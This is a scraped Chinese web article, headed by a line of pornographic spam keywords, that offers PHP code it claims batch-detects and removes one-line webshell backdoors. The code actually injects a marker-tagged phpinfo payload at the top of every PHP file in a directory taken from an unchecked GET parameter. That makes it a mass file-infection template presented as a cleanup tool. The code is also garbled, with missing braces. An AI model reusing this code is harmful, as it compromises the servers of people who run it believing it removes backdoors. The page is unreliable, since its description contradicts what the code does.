欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

用php實(shí)現(xiàn)批量查詢清除一句話后門的代碼

 更新時間:2008年01月20日 16:05:03   作者:  
一句話后門一般簡單,容易隱藏危害大,查找麻煩等。今天發(fā)現(xiàn)了這個Xall.php專門批量查詢干掉一句話后門的代碼,大家可以省去不少麻煩了
總是忘記一句話放到哪個文件里去了,直接全部干掉...
復(fù)制代碼 代碼如下:

<?//xy7 
if (!isset($dir) or empty($dir)) { 
$dir=str_replace('\\','/',dirname(__FILE__)); 
echo "<font color=\"#00688B\">".$dir."</font>"; 
} else { 
$dir=$_GET['dir']; 
echo "<font color=\"#00688B\">".$dir."</font>"; 

$evilcode="<?phpinfo();//xy7?>"; 
$testdir = opendir($dir); 
while($filea = @readdir($testdir)){ 
if(strstr($filea, '.php')){ 
$fp = @fopen($filea, 'r+'); 
if (!strstr(@fread($fp, 20), 'xy7')){ 
rewind($fp); 
$old = @fread($fp, filesize($filea)); 
rewind($fp); 
fwrite($fp, $evilcode . $old); 

fclose($fp); 


closedir($testdir); 
?> 
<hr> 
<table width="100%" border="0" cellpadding="3" cellspacing="1"> 
<tr> 
<td><b>被X的文件</b></td> 
<td><b>時間</b></td> 
<td><b>大小</b></td> 
</tr> 
<?php 
$dirs=@opendir($dir); 
while ($file=@readdir($dirs)) { 
if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) 
{$b="$dir/$file"; 
$a=@is_dir($b); 
if($a=="0"){ 
$size=@filesize("$dir/$file"); 
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); 
echo "<tr>\n"; 
echo "<td>$file</td>\n"; 
echo " <td>$lastsave</td>\n"; 
echo " <td>$size Bytes</td>\n"; 



@closedir($dirs); 
?> 
</table> 
codz by xuanmumu 

相關(guān)文章

最新評論